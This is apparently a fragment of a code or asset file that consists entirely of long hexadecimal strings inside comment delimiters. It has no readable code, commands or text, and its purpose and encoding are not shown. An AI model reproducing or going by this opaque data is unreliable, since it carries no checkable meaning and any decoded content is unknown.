f8856d42d7ac916cb1f62527f820401dd1dd5de89c01e91ecee33c72bd5142a979667dbc167af68d28f1b40dc2d82c898cc97cb03f3ebdb710d27c86fdee6ddf11621be68e2681263369a2b741391e985e034883e1c8cca1518efeb620cecb1f5b742a2405ffd905f4ebbd5cb948106d6d847a097583991437d4c5e6f1a2387ee09e0106f70ec7e42d8032bbfa43414565f0738e11dfbfbda455c573bf71c4989ba71bb21f169fca1a2d7514b41ef6c0c9b65eb4c741b091cec5373d8b7e66cfd5ece863a8f23162bcf56343a9ac2517489944d8f96d3d1b57830d19178d6009684cf168e83c0c263874b2271abb819f45de940febc221bbfcc537480d9296b6de89f3ac514f93734c484ede7baa0c169ab53af9791f5eb535212e133685fc827db9947dfc6773052efb84775c5160108eb1024667211a8154c73bd67ce89fbff9f780bd7102e7bc8497942960d1f6f62ad11338378f9b39f6ec886d03f040974006ae55e292df5f248dd7d0da598c0c28842b851761ac2fb6c2a160e98d5c3ce8a391dee92acf7e2f9322606d3539ea7483f9d5e7f59cca81967d66f26289d85516c7913ca508c9a848e8a1f41082cd0aacadbc7c0800ba16acaad6490012d799e5295ac52c61b0a4053fa37bf24dd2b809a3a9fdeccd3583adc4b7d799b6a9a3d308ff82909b6a1a8e755ce74a922a275432e4ac20ec14ef47c0b9134a66f5b243c1476c34b57a9aa6c2d95b207d9d838719936159c294295ab937f017ee01d942925b8234cfbbe8c0d561d132530362200c99f6f76e922e90cdb47ba995de69e1381e51008a5228c33421fb0dd54bbc04c4fe2ef98e1d91e5a08e18ca91018233663502ce7381d58fbf25c94b46fe23332178af23a360915e049c9cd78d6eb1d77ab222d174a637546b45947c4a1517b6583d1f7949aa3044fe18e1cf50cbe9e6aa86921e649d31c073f39266a91699c05c526c9a249df89523f7b6ba2ee2b6472e7d5500db7621e6610317b3b59bd115519a83f2b57f9fe7f0b5a9482b967ddb2de93577a30a0597fd8fd3e55ad1611eea07eeb6e9fcb31a65fc0bd683779a58314d848359cf2aa26afd5e6390c7cd2b8d241c9531bb710ec0674a38f330ef8e1f65d835d215c0f0a6a7961368b3f14cc4c530c3d1d7f922f6d03f6054e601e1014f6c765ed12f38f16998d21732a6733b92d82d424dbd82be3b332e0a574e58c08db1170f1aefd9f90374296c1131d75d1767c15189bfcc4332e13f25ab10601be8f07b95e4fbe6ebfc62a77363edf815d943d283504d47c84e81167e59a3dabbd4e1b097264fd9ddbe6074d3fcbd0e5cb929bd1d6b7de7369b9e3ad0083f3114852818460568410c9b4fd5726d972e244fae296e4c6e1e7d4bdc3ecb7e5b311ba7130dce3271cdc050c863f4b8fad970701e*/
/*53b0b4c7e832abc22d48c0178852c4dc7e938b9272ad5164abcac533c06c2f2404d2bf8f7de16319db719c6134a6063e296e27f1edf4579a046f17adcb985e40e598585e72afdb7d30585ccbef6e9fd3c86b684cb3ae2e4d00bbc87cc3e9c9c4063848d6dddd6b5bf066a94ed1446501813dd892e0a725ed1ab32c72663fd1fe2a2325ad5568e2b2fedeb1bd0feda57a3eb41db98dbd8061ffcf344f79646d4c8bf15f48e66f70481fe4645f5df6a86f975d6e854354f787b3053321b1d6247e99500c2359854d191613dd2f41b1d2c6255a96f4c509092a9bdb686269e4c705bf20f2f005bf72f469db5b1c7bdb6f74a03dd8a629a4dd2f116d81b12f56a0ca43b275278a18c1907ee06cd8f735d017df6f1039bdc816221fdf7d4747ac9299a88206328dba701f9efa20b51b8d0530853379c362f5849bddc3696a0c923b2d9c8fcb96de2b3138d9c13cf057d87c794122a6e594a88a268f9d980ccee8ea60ea90460c2817248773c650f8139f8db12e88eb817c9b475c50872cc7a7befe9d02428ac345b3a36eaecbded9d3e79d19811d59484781b7b1da0a9654bae6105bfe189a013a46c51950314ea8985d01d81ee8fa13a1dcb1ca055e1ffc97414fe6b1a933172711b958dfebe83ebd6d32dd5662dbb816e39e577a39d247ba5f02c2f9955fdc4421e223718d7abe5c8bef9579fdce5b8f56a2f2ffb3cf2551a145c071cb8b024a4b3b7007c4b32d61e75b30c75b03c7768383dbeb9db4abfa36b8b6e02ee0f518c51473477ec0154a17d4b8f2ee8e6c9ac7112bfcab27451f8638dbd51b9ded2780e8039c6966b3d8577b92f7cef7a9f04ed5479d73590504d69e6ab9ac71c3e2bde19938bf442afde0a708b3d9e0affcb69e0536780fc59067319cfb8bb9639de53e8af010eea625473f3f001d58ceb5f92a15794743636119f0e69625a8e9b06415b1d8ac75147e0ee4d9e4a348b167a5519c40237866e607dbb12f5a21c021e4fa1e5b233dd373dd56738e0f3b3b883889e64124a4d907968be1ceace220abde588276ce2e2c4d2603f2e30f2ed238b913175f082833890ed972616f352343027297840d5ab39d5cb3b842325dc2f59c332858405a70c32f4a69a3d26158117c05c4a0ad6455284b364e0a866890f70bf3adc6ada220f9c8d9d224694c891e3321523ec94ceec6cf5a95aa927b258cf5d467ee4119af5de1d9d62591751a21bf72faa01871fa34b5ca5a24e717e5d3c4645d3158a9073d853e0e77d52ee2db421b220a4f83d6a8eee369cd925961fe298841cc94f391a0e2b263d760f3bd7879566a839ec4d03614276efc3dac6452d47c7b1e0811c7478d479d404a40be1bd88e646ffe5912d21be7867d2b1c22f424907897978817cc251aa6ab3f5562013ce4de1e4451bc60a37d40cdd4f63c342b60c1471d6ee9ab4996f50ab831780f74584262d5b3aa86bd2688930de3249825617ab1c62f34355cb13d46d40a537f16fd9eeb2a2763d41d1e7d1208314d61fba88c4a88bf45055bf58632dd1290f0e90356f9cf78cc5ee39a0f56779fb129cda82a98c4f856114fe047c84ffe6e15bf969b1273f9807d666a8e259985b938ba292bd64dcc7e774794cfe3c6c05dc7ce0e2ce886ac79bbdab9bc7943f0eca1d63606bef324cfbf08a98ee9d0d248737c64a63ed2c8a3c7e8d567df341b466a49446821537325b4967bf84b6e1633e3015a7756b812c6ec700a24a9654ca3c2de8ff467fc4e55907f0e25eb27c5d29b5c6d5021be3412f169dbc269056645a939cbed8e692a2b52370439a543d3adea3ca2205af439546647b45302c9480ee2d078b6cb2647945fbefd1288852d37ad223371c77e78981bd45da5c3e7665875d049b3f8459d47af9ce261c04b23f6a2c4b49b5b3078c3580e218431bdd1ca30efb648bacc708f234bbff6b23b1b6c276e21a06ce8753e0abb6f80d7da77468728556d413cb50802cab423b8f067ce82d09a8f755bfa44ad0f41d9c799788457b1adf569e7b0e90cf6a95cf3c6f057b776964480178aaac6bf7dacb99b22a05547eeff89e4517e09d8ff51ac3e1e2fbd642e20a6ddde1770de79fa08adf6407e61868f5ec67efa7a2e9142f23bd3ca87904f97cf6f4f18812498135f115117cc5a364ea65f949b8d86fc9b2586185b8c2e97375a6a0f16a54fe63ac8603a641f94ba89357282c362a49f1f0a9ad159b666e74429fb3fb019b6d075ef9720c8d2c83b332dd4382d5dbec4eff76547011d9505b03365f61b93a73f0898a01548f4d925549637f1941ff863bfbe61d4cfc579af72b9472813806f418d89f2c55bbdb26a5fad57cf427c432274c89ef67fcdaf7daa353587aded488e3ee0a4c153b30d4c6747df28c8b133cece92c8c2ec29297772e0253e39f0fc82417cecd6ee744f4a2de890519c8cbf70d52c267ab7ee264f559fe52b9542793c4183367fdf61e49659774bd2c421854fc47c08efbdfc8e4f6cdb14a851e70f86680c0fac4ebaf849ea3f62155525a063d80dd34f2a316a93e7bbb4598a2eb893d9817c61ebfedc75cfc7dc842697d612f8c06b92bad92e1b305cacc0efa0f996c75a7c9ec557fec1e0d1391bbc9416b74902ee3ac1cec8c0133bc8ea428936a299b79abdbf191fc96786e8adf06a69cd4d6b4643ab97c2bb1a89b36b4ee852a70f1acd2f50e95128c9777972f137ceb2127ddcc450f177c65dd3cfb5b7e07309be54463380f80ca1675e6551665ae9fe2585f4fa21b1288c9598e315896ad0682074290515bcb3dbcbedd561681d5df7c9ba581611ed41fad959edf94a9526bcd0*/
/*2a1ab583ef546b79ee6283606e4e97077b39f08e3faf199bfeb494dc424ec670e7327a887080afc728f1895ed8fa47f40b34baea15e87dcc70efe16ad76a656570d1df8afcbc120223411bdb593a227bfd4d94e84e08559c607fe6e3f90ffffe59a663606ad57c425d86b9a9ed2cec4662cbf952cf94e02f0dd029ab8d5100b74ceac7f226fd5fb530af8bdf0962de3a13b53ca6501fdb6585c2bea393cc90f575180d686c215431c11d1c14da75bb7ea7a7ffd07dcfd0dab836fe4417b11aab69ac9016d6ecf48410f50c0884a461910f57ef68d167d17a1e983daf852d67a813e84ad5d61775d6683f8a43bdb268779a171cc037ec0c2d00766990785d3cd43365bb0413e2b6649cdfbfdeb22bb18315105755e0e32c8e2057766c0d81f736d43299249ad0da43f67f1e709a6285983850a49e189481cf20158830acc58d85f02f407337754405a46e1d4eaf110b9ac676e297ea2e29fd65e5bc3de9dab87595339b97ebf5d2b560b332f8da2e6f9e9af2219d7d8fe62c59ce2f1587e54a823db240ab815aca2e9033ad184cd902d3b59ab703c7cdf8209deea8575be6ec89f107d685f98c874f2ca39204c08d281922cde4616a0ad7b9513487f6ce50b5f41f935f6b6669bc7226c433919fe10931c8d116712d366482065ba399254b5e83b8a027b69f2d7700a4d25d74d091815f0d857dd4ae74736b47dd006d5c22454042d3fb47988aa56b5a3dd8076ef52e047da19f63c9148f06e5f5a36c74154308e434ff958a0e5db474b38699fc062b04c7e0b9308e6833b0fc2d975c6f1948612aa8682d00a5f71a68048a5b5ddb8f531194275ba9d5d26bd8a68a1bd2b29894e48f49d54d3d66d2081c3951dbd59e173930e499fd23c6a02b55d48d81cea58fac60a00dfe49e5eaa4c3753942936c9e312dd0c802b3a4c1de563e736859adef467f2c5030b9f25c9fbe52e3f83e4d7905649dde6d9796dd759c847e80efec37df82eeb9fe64361a44b914e595f54dd9198636188bed9a1dbeb002c34c2400ee44cf945f542ab666ee66bf45ae4ea76a1715be4d791abf54048ef1ece33bd1bfc74329828938ddd69dac91a56d4c1b265f88365cb76c3293b6525d52a1b7e34fd8bdb2ae69e0a73b69dcfe5051f07067ed6eac494eac3dcf32412400aeb1c9213f8fdbfc7ee6234bd6813d3a0212cbfa2baec365706b9b15c70a7ca7f64d8fd9262fd11d58bc42d0b7b3026b9dcf077dd1102a890b7b922bb02e3ec9669f81dc29ce720aa773703ea891a90a6200eb86d9e3a5bf990b04915eb8be7276b3964830d5eea1bab6fd62cf099edf795323918bbd7d5893f202d9a87e64c38915ae724d62afcd4966c1c0eb87c0167441f25c07a62c43d3c29c16f0ce13ab48f654a58ab860d6ebf653f020fee30e5f9a887b97bf1e24f5d5e71d474746f460ae658b2028878287441e7e509ce66af8fdacd5ef3f857e14a738a374922d5398ddd22f9bae0fd0cc6d226e46ed298ca292a18f4647121d7d22e8003bbdef805ac2dc3f3cbbb54105e8f9a5d76c60b73ff3fd49b8f626ac4f6b3586c0b9cf68000a96fdd18551033e55c25c29b01596d947cde92bed2df30f5a2a4052c4be201b88114837ebd35ebc0b57f34479abc6bed9cc763a3459ec697cb5c004e8e2aeeb68b6707c44d81f5b4c96f6bf3f7d6ff4f98d7f594017d91eb39155c57ddf40a0f843d392188cc2ef303f01aed73cd5adbf3c7daadf8b07f5bfff8737e6325b1f82d9438fb986c577a7a8931796ad06456c66541a2804eefdb23468cf656af1894df498ccfb0d3ac27378ad7f6790b5739c5579802ee66b7edfc3a4facb9136d55fc8178f724102b50903b6901a37f9c9c27149389288b7640d0927fd996ca90e263af925a46b6385f8b650d14e4c5799509f58e83dc1442a7019c572e7564cf85881855231ca6b843afd83903a1a2f655ef07d6a05dc3f750ad9f98604b96cf46762b3e4e29334b6e70fe1dadc60af2694baeb9bd629d6782b8eb6d07a8d2be795bf658b863e18251d1c64a8eb6355621cf58efcadc1a5607f4cee556d4feb7ec877046089cc3ddbbeecf08d708231381cdff0e2e10a4bfa965071cff67e1547aa24d70f4e4c2a5d340e4d02ead9cd2060478afab650462ef403d4e405021e6f5328ede11c8f97cc7d203f089d1a254cd7c33c826a8ef54d68ddf4da8cc37f0d05228042bca13aacb2c1395d2c173a249f86c0402348f367a96d999c105dc2757a9eecc936562e18aa7e5bc4adbda9e873223b1153383c2572e33b416696d661a3c85c97ee95bf83b1f1837529b70a42cae807cb52c25fb51496b85d5b1e74fd55288556cff593590416c454e529cd67fb4251bfe027cb804852759e1851c8841a038d8a6e10a18530d9ae14b10afca4004e62856aa991287506fea145d639d5ee14c32f122b695fd5d8011461037d2c4cade62d7eb0f5a8df3acb8ea8230845d0fb8c0c23f74b447751e90e228d27e2932e2e6d545f5edc8179c46f7ddeddbed4b45f16fdc8befae257c4473f8c60f2642dee683034ab978617d23398285afb19861041761338e09972a29be3e30b8f0c618d643253db27f19fc65b994f003c95fd3090fc06007d923128b27edc52bab4ce4bb9620a135b04204a4ccb0edad82d54c121a3c12e0f67dcdc17a5d95b4c70a67a52e77044d4b81b60455c2fc8837fab40fa0eea33295d07177868b8160b522a96f65d42cb6af6fef434256cd302c923e3566d74836a0c77e2936dec9a31f1b6d192e1d91825d96160f90e3782a60ad4b1519f1d09b1732406f56f0d6e4355d7ca*/
/*09388beca4b2ee03ab54345cdd5474cd5df6c31407e56158d1d3934fc7107b5fec9750c0dae266688ecc34b1f93d760278e1f2dc10a7e3d953ff13cc5a4e79c53b0cb878236c40e339f873cfb64937d581b2f3fb1ab2c81ce86acbc6684efdfc78fa3016cfcd1b8c08d6435076b39e102627d46b4089e58d4d0dc41ba487eabc93319391cc519c6c433e51bc643cfca5f6523e8214b48bdc7f7cff4d7a31e8d9428cff0a21b4ee5951dba01d98b503bf12c350f824e7ae4f5f96ddf2fc620d2b93b2047f766314d440db985a8e8c04f0d90b02fc0609e13abf1d229b1993c67aec6a3384abd31520b769e1f62251bc2f7e936ffead3cf42df5d4d920c2820d822f1629fd2220c98e6d9ff76596291b830d3c6b812a617367e7f1e6d2026d96165af515ec4672b8c7ab72ab21e33ba9134e87b8bbc38175b7c74ad4b5fedad08a0f9e8e9ac2b9ba04e260ddb1e7807715119385f958c470248e8d005f1843ac537d63a7b397324e747adb760c95f0e7cabc6f673d6ce37219da19edd4cdada72bbead0fade5a7099723f703ab5ae8b2aabc4824d8442801f7bc92bf348912d0b1af59236f949ae210b9963b62ec1b4f56cae8faaaea467e49515123608b47e5175b43f7f0f051b2ca520d61121506c33c56bc89b19b24590feac6dc8d11a8a9ec873ceeae5d39323f04261954bfa9f3f7c11c98f54a023b6c99a078bb369431ca964589e0789847d7baa8bdae4187ee35875ffd847603ddb329d0e4bd2c3009533be61d2d00e783f2251bdf6a9fdc13afb81c3f7fd3b7dcf0502228271d9253fa5a89a7132574a8e62db27a421dca57ddbd374bf73e9cee60e41d03ef79dd2cb1fa7a3bb9e15037b86a81238ca66eb06bd1ebab2d885418aa704cac3e194c24d5d137a0666a0d03f6c47bb44d793a7a138990989f95410c29ec3eeb9bf1811d057f705851897ebde1748f5d7f1caed0607b4d3185dda05c7782d133a8007ec5b9b51029798dd3af3eb6cf5e043e7332af6e737088819bc3c4cf589d9d02934d40434e278780ec8849934c22fc5b3b9784cd98513a80e620713d08e3dea5a18d4fe7df518e10080efd60137b42a319610b7dc95629ea3fd29a9e2add98fe2f75898ee8188fc2b6b36b9bd62e69050f4ef7ab6c688ac3db5ab7466035a817ace2c7503b1ab44a7add3d25d44802289f5867f0a16cb53db8a4cfb604bcc9bdf5d2dada8344c58aab7e53060b515cc8dc5f8f3ee76d6e8792425a24b614c01ff92e9c8a836079cde4479cf3fcdb7da6bef8d68398faca5d93795842710f31a717b5009fc5d345fff488bea349b19d416b9ecdec6ab0380588528ab65d97a846c9a493befefcd565658055693b4b0dce9e72f9684c66ed4e4ff693795a119509316a9a117d78a8f85f7e834b35cf312f2bdcbd8cfacf1242a9b7c1cdd68792225cfed855f6ca358100e0503c12ef2ab227879974d65a154f2f6fda31aca0345af0076ba6f1a3aeb53097c0e0e9d6e8a241c240ecdca2aa460f4068c1c3c1999a05e91c506e27b27954cdae5f7e69f30864a5b0f328a443596e0e4ffe58d4a3b8cf7a688964890952822adf851c430a69a734182a97c45e04563b4518fb078d9eadcc399c59c74b0a7df06cc76f3b1f57be55126aa1c7e57083a629ef3ad691f7f5e07136c696fdf1b4e0895bdd9ea50e9d658805169af4e281c33323d6864ee39953fd79bed595e899505a559b98d14ec9c9d5f606ede3cd6e4ac1e6c48275075694100b82e1031a5b14bc143d893e9a705bf063b1f51de32d6195057e8fc210f11dc74b793a0fa791b75ee11122419ef75ac342a5c2d4225e389abac24ef46d187f368bea843b632fd1ea2781dbd8a171d1d81d04b192f4703ccb5997b09f7316264a1d0a29fc3a845c9e2576c5bfbc7a4a9c941be3534be761fc2174ded3d8cfdbed8dc48ae713bf825bac07ec40ab3cb70ca1971c600e7368fa20301285b665a36a01118aa45c757d07f07b8b23f49ef492937843c8e4499a52c25224821291d820894c06d8e220fb53464497011b45222a98ca7a97a235a8f6a62a53d55ad207631c5d1688c949f70c2b6100b9a954c41c45ab4c6162b5d9b6579f703677952f35271c741384f9335864186189fcece03b8cf005c5b83ce714879770033ef607b4c6e0ec79e10a736a25c11fe279cb099d25d925eb1c474458971687f07bc6bd54d7995cd00e49af4c86736f027d839efea6c8c9a271864908d7a4d04e92a75b343035b4ea70af0aec0366b4bd58bd9b3dae878072024c5f4328a5e1b1636885001076f10e8a5fb24dd6a447ee5d922b3572be790bd999a8000cde12fbb803d81d01ea751909eec1958c8a986438ba710377f04d7ff1318431c4131184d1ff369826933fb321c8c3f8fbe812cfb67b7b8918964bad99807692b80962f77d4bb6b2e306355db186d004a79282676a37c550b8d9b92a99cb945fa68f3d0edcd6e0e1b13c0809a0c88212e32db8e78f8f8cfcea62e2dc3464ceeb0faf6c17620fb7072656eea2dd2a180e580b5387704ce64c41de4e4336f95cc78fc85ed596641cd31c48b3ebfc00f135ef77c082ad414db24dc1056d95b3f826a1205fa5c5a750521c2d907c96ef3fde7b346443aceb0ec0503a052479c0d6944b05887684a6a134ce6f1a4371af99ac2bdb6de44605ee3b0346225bda2c503c46f7300233cd918f41a9e00dab9c3effbc7587f36c66fa167f4b7e561ccc28a42ec82f867d4c91fbd00191d0ced3319f69075632474041359a816f7d4af47455018deea6f8f3f43e36e2ec3fb6af810ef84120eebbfdc409*/
/*a74361b438eef90df7d747e42884fc1182713b6672cd02086d030e4b682ed5c38aaebff95abf70a31079c41ad9a83ad7c12cf2c6296f4d99ca7ec50a35692e03547e0dfb9bbab1f6b2ba9f50c6692b4a37ad1f8cd3b2f8d37559625c208cb0375078b71efb535ab4c85cf1cdbe937402ff90a7e852bf889f5bde81ce4a1d914c0e1c4fa7c70e980f116ada3783429e92ada5601b8b81010af5171dd541bf063d37009e1293736ca40b17a58a3cbadf1af41a3acbb75c024a25026135d3948f1d2c2b43fb09fae448b21952d7be0ffdb1e958f7ea32af2cb44ccba4812b494755225c63a36927b9645341b913ef9ea4f1c7c9a5a7bec0f92a091540a2d6697b0de31d61bade73961d15a533ef1d78de9f12394305b648fc5739e5def1f5cf431be9ac8d535c5f6a44073b97aecb6d78403ac55cfabfffe83c2b7ac9a8c9794ec1052d20510a8257374b14f14d3ae50ef63bd47dbae8f17a4fbe354fba5d3b7b0a2da147498f283be7e96b54e037b8750b5721d199a169a1e724facc95556a53d37d5cae09e884240a3cde711ffcbbdf550e97e79251b5e3b98189792e222c6d776aee5795195a70828d4ff7b7c8f46d275cbe057804cf94caede4c20393e85e2880b11ddbfd8724210fa1fb1b0bb282f34cd1949bb220dc665306cbbd4197b01ba921896b079c73ecccb7c5f04de05fd03c6a464e84a2bf0192e074edf1496580f5aea6cb2f61a3cf87ca36df3888854d8a9fd346b0bb6755dee98305f01d6f7b0f03c1287c16310fdfac1ad3466ef695106764b67de3f7c4204fbb224b60a776dc57ca712016d511b33d55975e71e270d9b5f48f13080152991603d57606d99ac4cfbdcb10d760395499d34a7cc0853b983fce7fac412d05954d3f86fd665126c552b7e4d4d973933034a5beae2151d6c46d145b01e9f4f2a18b44f9c707e472b2ca2b27796270033a2115563c6b1f77eb53609057bfaf6c1e8e8617073bc37378bc12e7926ee0bb02429d5912c07614b7f08bc7380183e38948e654eb1618770bcc56e406eb9a176a9ec03f842037b7123e8ade05e1cc383fe2be52e6886c35cdaea4d03861a082cb25a9c866b7fc6797ecf6f1a8b525772ad55dfc8cf04cf7d6a33c8e603940c0280014d3492357829555eee7c873f592a5dbc5737434ba6f6ccc0c0c105ae23ab2a02d0d548708c38c54bce940bad9ff5c86a40f2559c9d93ac901443d43b81e1a01ecf69dc8772007c91a2edd6daa27695ebd5f5aef398eca881e409ea5d8df4b7cfd32a00191558b69cae01970b8103480d41cbae6d1a3a382222a13813b559264c264cc50829f7baccad2fbb03bb4da88fe59bc9008c43f9cf01739bf8a4e41d380e25387f1057e9641b6ed05b42cb10c281bbb8a984e88658df2d764812c1c2f212af02b81ae041acbd2736d9e03668236aaf8dcce81d0835116da1856dbe6198e916ff34f66b191518106de98d0d052f7ac192cfc8911959a7d1568482b7bd03cc4c193fece580068152e087a395fa542ee600e066cf780a146cf59878458dbb70f23529cd286ac60d0a8224d1bd6adfddd001855e8de7b7ba8b3406604c724b76c65edd85bdfba445a0c49ca73dd72295c0e386d6988de1b078a723bc8211f3fe4a604004a71eec000be1de17d1f35a23fd2dd9f526855bab144ea12f599e3c3d7df082f29e78a766f25c4525c5cb347fbcc2ff2d06b0bb365dd7b10e0305057634b8496f59b5a2099e11f3309863d209f750b934c2a706f88b72ee407d6c5b4dc57528e13cd4ac0235a0f1bad47d3056405c90d200b80b4a9e2754d39f9dd77b0e5e89cba2d5b185801f599ba98e5e3dc9a9c541bd7ae9a626572c87355bbe558ed9bf6251e76dbad08be90a914f26224708c33a9a12e0678d13cc6a451754db6ee48b483b4842e56a2acb61eec4810b8ef51fd4b6681be849b5900d2e59b16a6adb9ad8f2f4dac6aae90375d990de61c9a8f711998cdbd49e20b9c0cba2b2f6fe2c4dbc04f7d234e166cdbda12ff033d0a8b33f344a4d6cd99b2cbf67969db1dd5839bbdc7a4932e411b8165d955fa6560b5afe0d11f843c9077f2fee59cc16358c3cbcde5f891c36c753035e0ce85ab5fd9b19c29dc6d54b2dd919f26b203a905de1082a157a2a955fe69d202c1abb8b7b00b266a9107864c1d3d0aaa2adf4a82e962f97dd832c53a485220d7c58c166c593a0db667f2fa4ecf7bd25b201bb3ecd4e5fded569677d156103d60a2a1a654262874b9ff58a013e492d2d758db096ec52b3294c957f94b771d43886d9374fb4a01374a8c5dc0385bae13d8403c40ad67e47db3fbf1fcadfeddfc1b178b7613267c7b9d83e1dd887f79a05a79b44e18007c4dfed8ee8bea5207511b79da1a395bf2efe63734dcba05b46ac2d33a9349f72529ef5ad0eae262b999e3e676c0a5628d636c678f9e46ccdb9df92355f4ac247333ba6051082145e8df04df204ab3cd21b93232c891f4babdf646564d6641262da661cbe7f0dd072011f32fbb5a669676abeec317ed7841ea139389e4a0b6b58ea0c386909df522837693c887fda19339626ba2ebf997f7a3e01b27bd5a28c0587a0dfe3ab63dfdc35834fc9c9536c62ad11b809f0e20b30766182cf77b931895005c16da39fb84981370efdce90128e4b7549ac523934177c1e891896a6e87f0a7a38c78e6f07a6adceecf1824cbd42a45b5e69e96d3eb1d241fdb85a4011b9d83d65327aee88aa2bbe5b4811e0d63750b00eddd7ea4fac09c6be0b022ca4f500144a6c7932339b341d909e8f6eb66b4eb6c06c204107354dc14780eca3461208c*/
/*b531a737729314c5a295ff9ff9a902c079bb6557b5c5e9bfd8cb68a71baf0a7319ffcfd63b62d23ea0402e31fabeb1a499f9826b40133c1b7f3c2aa9d98f30a8997737ca3249745811c316539c01841e9538800e35b5a91c95e5a24ba2d6907206d18649661e477656132bb43d545f145e3b301738bc7c4f0c9e634adf541ec1b54019c43a661a00d88f89850da714b4a9c0749939eb30e8746a3a1276252c9b43b54cc43af0c643a7705c724cbd0c59e1260f079c384942dd0ff08ca277f4d2d7e7243bd01ee6dcb3f4d09b38ac7b76fcab60eb540fc24fb00dffb5a5f716e7f53215a05fbdd29e6dbfa8aee3f8dc196c2b0ef873d907f8e1a30093c2d0f52e284c0771e478cb40e457eb08361e20c30305a4455959c6b73b9555fdf00e843b12596aa9c68c2f4bdec2d6a9d0e1ba3f3dfbeef663ce7b41a8552cfb633430e51e19aa2fd7f5f0c4f3c881abc865555837e54c1db4d8b43f1f58d63153d0c75ad879b163f6b8a4d8d1375cb14b0b1a48b95765214482268e07dde566a70c2411e4d76d9783083061798c645d5312ed442d0063ea88cb39d98c68859a706cdbea2b5c8d782a710682d6586b79aeec693418c4c71460e29feab052f4fcbf4c7036eb6ec6587956c944c0ec4363f60f77f0b4bad57076fbbb9259584afa7c178e32d4d322392a276fa3aa8c316833c40650795a0400309a2a42c30ed6c6e460d62c7e534544ebf6c72c6b0884f469b10e4613a4b34bf730bee352c29e908edf8cfef2ae6e102e603683a5b7f666997e7b1d8863ba0d677e7deed56d7b6f77d0c85b82ba09260f3b696df3386d5a9a6070e26e1c84c3179c6d099f771153e54994652c1582307048f80ba1775d010bd5ce1240c68a3af9e8c2e4d2bd96d8af05635887a8f639da1d0182a6f62364edc21a1523bec538f94f32c0df70b1866e34cff824e47705eba6e5ba79d320d79f4884d06bf7c0c512268dfb98931fdc67a269033b2fde601d30aa83a696c9c0a59e055c8902334aa1eac70d91e9e90129e885fbdf5a5be483e4f3ba7809b999c9357a6ac99a11666b11992711a0a1c05df74c08479c7acd6477404e7a65e6d427f10d21baae6e1a7b8535103daba412984483e8e806f09305c8154fb367a31864d271ab10d065f01c896f5bbd32b40067e179adfd8f51abb0ae4f59964bc4f533387a7b66e2a2a4c22b96354cfc79ebae160401ef8f85806c0251a864e9fff33ef990a18e9a5e114e9528a74ef24a0fe8065c883b3b89250c7d11e9484cb294852a4584e578fd0070c5c67a2a5cdd458aa3b5f89baba342c164d329d542624bb6bbeee1cc6731454c9b6b6c18a0168f6107412f38aa6c412be3f607f4ba4c5fe413283669c0da39f2d939cb7e01bb556e9b3ff4251371fc4ebf9b61b2710f124a9791c10f8d14cdfe8456995a956d159af666baa1630b37db044bd527fb3d661486ffc584e19187af83393b5efd6b69ec8abfea8b329d2856bc28a5e2ea008d132c619a81954a2a51685fc62608ac9d71289a220c53b8af71a81b609cbf60f694ecc3255137eee0f7c94b477da79d9c1abf933a7b5bc857f13c7cf8b367107f1cdf9217ca28b95f7add60766eb1db958fc6b26e48ea91f2be3af4190710facb8b92c04378a1e744dadc98244dd73cd68a7520a6c4b24dad131b431715b353944373bc53dd3236facb2b2a2297aebd1044dff788469a698f9b6fad5a2a49e468e6e59688bad7fbd1bb36ae8d63607f257fdba717200665c003b13a26ecc893bfbd417a7633d0348919b76f7d0f6d5b213610c1fc2ee3f2cae3c4683adbdaca14812ae98de3d6d763600b1bdfe11d5c19876ee4115a1350172d4c6dfc8a1d5c255943043dededf2d53b6e5a44c3a3ea916620e9a9d6cd9f600ea3c282eba29f8ed1cedb99864300fd5224317593ad63d8842e6246770dcef53047348507f917a82a5a60d788f9f44380b1a5e7259d0d3f9c72dc85d01569deb19bc5119922ee5d4a40fb95a287319484e79b6786ad3858bd142bce151dbde918e79481d39fbe5f6aad6d47283316e7075a0f11ddaf218c00279df6e423960d72e78a0fd41315ea34d08a27fe18199d7d3bc1eb18827da134a5ef16bd59b81d929a29330033eebb30f49697f8c6bf187bb4c4f5b2534884cf8736d10013e76698e1973ea0719c7cb3fecd1c0473b24d304bf81e5911e1b6788a22032f3ff929695fe8d6ff3ea36a6621f2d9812cfc4af318978cdf26623faffd646b80bae417a1bd5e8e4f4a5ce7bf06bc0cf95a78b3e18a0d6376fbac5bb1106d7b4b47579889438a5d0a50e7c0dda082257e8679fe78bc3b8eae601dfd0778d3c5869c7b989b69ac3b9852099898ad22f0482dd04e6b22d8a1ea89f76de0949130918ec793c90771042584f1d9e1e9b6a7445548e87f86aacebaae2291aece4e4891c78a14886354f18dcbff30018f5b25203e64050762633dd0aff5dce53c532ca6c3d2b8c6a5adbce890b14884b91c75fe19247e0bed1cd9e080122233b8930349949d293d3d325fc99f0c347f2d04da84b9c25fe9079d3801e0dba9977cd2a926a13fc6662c1b045328056b22cb1ea18ede5685d76adc98f568dd4c5810dcfd5498ed06fdc30940d622c047d55e895f3ce44c101ddbad8cc20280465a2933440f277956d16727bad70df93c0f7060a5c6d5417407787624679fa11e26409a580278bcaf8b9c030bfc02097203697b23d85b12f962667aeef54c0ede33c59dfde5a28fccae8f08c15edc0cc3440882bafe2ec7f8f5217abc7c1712c8712ad1595830275f8f4c828f0d22d52bb0835041*/
/*28870dabec8f1b8e5b54552c4c330294912db97863be5328834f826005f9a727ab00ef7e344fe50ea790cb9b5cd2c9ec228e0fcdda5f1424682997585e9856497631536eaa4726fa7735e4d16753fe24dae5c5fefe4686246e42a60f6bb4a4bac211996fdd747ac22732600050a3320b56984bf5e5a9bd48f628c843de434514a42349fe831026f0153f1ce2c0d58eb91af4812205e7290ab961712ba16cd15823a0ab7e785d7e577a079df4695ab447726e06ea59830c220dd4d964a895b37330a772a5ff779b750255fa6cb9b4f657a2b7d4e934772c868a41f939655d89bae3cad2ba844c1c182b06684fd35473945a21bf15eea637c10a1452adf786d52cac2a9a725ec2124474187af148326e7324fe923d4d830df2b3b200c6b949edcef46d95af3bbd0e92b7c22d52ef7754d8068bbc05e35f4a99c248ffa9b7541ddeb94279cb3286dbd0aeba0eec5252c5b7ab3c8acb1d55259ff175a4fc06a02c084db0da71d96d7e10399e98b44ea877826a75a72bffcfd1e8cb4320f6a9ccf21f59b0948905799ef36d90411e2ed32ecb1d0910d7a660de6b75c8552a6844f7de561bd7f3fe17f6dc507e19613d7bb26d7cdb31a90934ac2da320813c3cf2fb93159b5911ea74601d45f4a28972c7a127d243bbd6d4a46c5bc5a63d3323ffaebf8a8394e7b09f6b7592572e2987f3af5eabb1966e791cf8772cb35f5eb2e254a097a0180d8a905c3f47096862